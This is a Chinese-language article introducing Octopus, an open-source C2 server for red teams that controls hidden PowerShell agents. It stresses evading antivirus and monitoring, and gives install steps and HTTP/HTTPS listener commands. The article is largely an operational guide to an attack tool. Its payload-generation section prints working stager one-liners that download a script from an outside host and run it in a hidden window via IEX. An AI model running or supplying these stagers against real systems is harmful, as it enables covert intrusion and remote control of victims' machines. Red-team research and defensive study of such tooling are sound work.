Octopus:专为红队设计的安全研究预操作C2服务器

关于Octopus

Octopus是一款基于Python开发的开源工具,该工具可以通过HTTP/S控制Octopus Powershell代理。

Octopus的主要目的是帮助红队研究人员在对目标进行操作之前,先通过Octopus收集目标设备的信息,并对其执行渗透测试。

Octopus以一种非常简单的方式通过加密良好的通道执行命令并与C2交换信息,这种方式确保了几乎所有的AV、终端保护和网络监控方案都难以识别和探测到Octopus操作。

Octopus中有一个很酷的功能叫做ESA,它代表“端点态势感知”,它将收集有关目标的一些重要信息,帮助我们更好地了解在操作过程中将面对的目标网络端点,从而让我们能够根据这些信息定制实际操作方案。

Octopus的操作非常隐蔽,并且使用了AES-256作为PowerShell代理和C2服务器之间通信数据的加密算法。除此之外,我们还可以通过有效证书来配置Octopus C2服务器使用SSL/TLS。

Octopus关键功能

Octopus提供了许多功能,可以帮助红队研究人员在开始任务之前更好地了解目标的相关信息:

1、通过HTTP/S控制代理;

2、执行系统命令;

3、下载/上传文件;

4、加载外部PowerShell模块;

5、C2和代理之间使用AES-256加密信道;

6、使用了隐蔽的方法来执行命令和传输数据;

7、支持为每个目标创建自定义的监听器;

8、生成不同类型的Payload;

9、生成2.0或更高版本的PowerShell,支持所有版本的Windows;

10、在不需要触发powershell.exe进程的情况下执行Octopus Windows代理可执行程序;

11、自动从所有端点自动收集信息;

工具要求

下列命令可以安装Octopus所需的所有依赖组件:

pip install -r requirements.txt

如果使用的是Linux系统,则需要安装nasm、mingw-w64和mono-devel:

apt install nasm

apt install mingw-w64

apt install mono-devel

工具安装

首先,我们需要使用下列命令将该项目源码克隆至本地:

git clone https://github.com/mhaskar/Octopus/

接下来,使用下列命令安装Octopus所需的所有依赖组件:

pip install -r requirements.txt

最后,使用下列命令开启并运行Octopus服务器:

./octopus.py

此时,我们将看到如下所示的信息:

图片[1]-Octopus:专为红队设计的安全研究预操作C2服务器-NGC660 安全实验室

工具使用

HTTP监听器

下列命令将运行一个名为operation1的监听器:

listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1

上述命令将返回如下所示的结果:

Octopus >>listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1

Octopus >> * Serving Flask app "core.weblistener" (lazy loading)

 * Environment: production

   WARNING: Do not use the development server in a production environment.

   Use a production WSGI server instead.

 * Debug mode: off

 

Octopus >>

HTTPS监听器

Octopus >>listen_https

[-] Please check listener arguments !

Syntax  : listen_https BindIP BindPort hostname interval URL listener_name certficate_path key_path

Example (with domain) : listen_https 0.0.0.0 443 myc2.live 5 login.php op1_listener certs/cert.pem certs/key.pem

Octopus >>listen_https 0.0.0.0 443 myc2.live 5 login.php darkside_operation certs/cert.pem certs/key.pem

SSL listener started !

[+]darkside_operation Listener has been created

Octopus >> * Serving Flask app "core.weblistener" (lazy loading)

 * Environment: production

   WARNING: Do not use the development server in a production environment.

   Use a production WSGI server instead.

 * Debug mode: off

 

Octopus >>

PowerShell代理生成

下列命令将针对operation1监听器生成一个代理:

generate_powershell operation1

此时,我们将看到如下所示的结果:

Octopus >>generate_powershell operation1

#====================

1) powershell -w hidden "IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"

 

2) powershell -w hidden "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"

 

3) powershell -w hidden "$w = (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');Invoke-Expression $w;"

 

Note - For Windows 7 clients you may need to prefix the payload with "Add-Type -AssemblyName System.Core;"

       e.g. powershell -w hidden "Add-Type -AssemblyName System.Core;IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"

 

Hack your way in ;)

#====================

 

Octopus >>

许可证协议

本项目的开发与发布遵循GPL-3.0开源许可证协议。

项目地址

Octopus:GitHub传送门

参考资料

https://github.com/mhaskar/Octopus/issues

https://blog.xpnsec.com/how-to-argue-like-cobalt-strike/

https://shells.systems/octopus-v1-0-stable-cobalt-strike-deployment-much-more

https://shells.systems/unveiling-octopus-the-pre-operation-c2-for-red-teamers/

本文作者:Alpha_h4ck, 转载请注明来自FreeBuf.COM

© 版权声明
THE END
喜欢就支持一下吧
点赞6赏点小钱 分享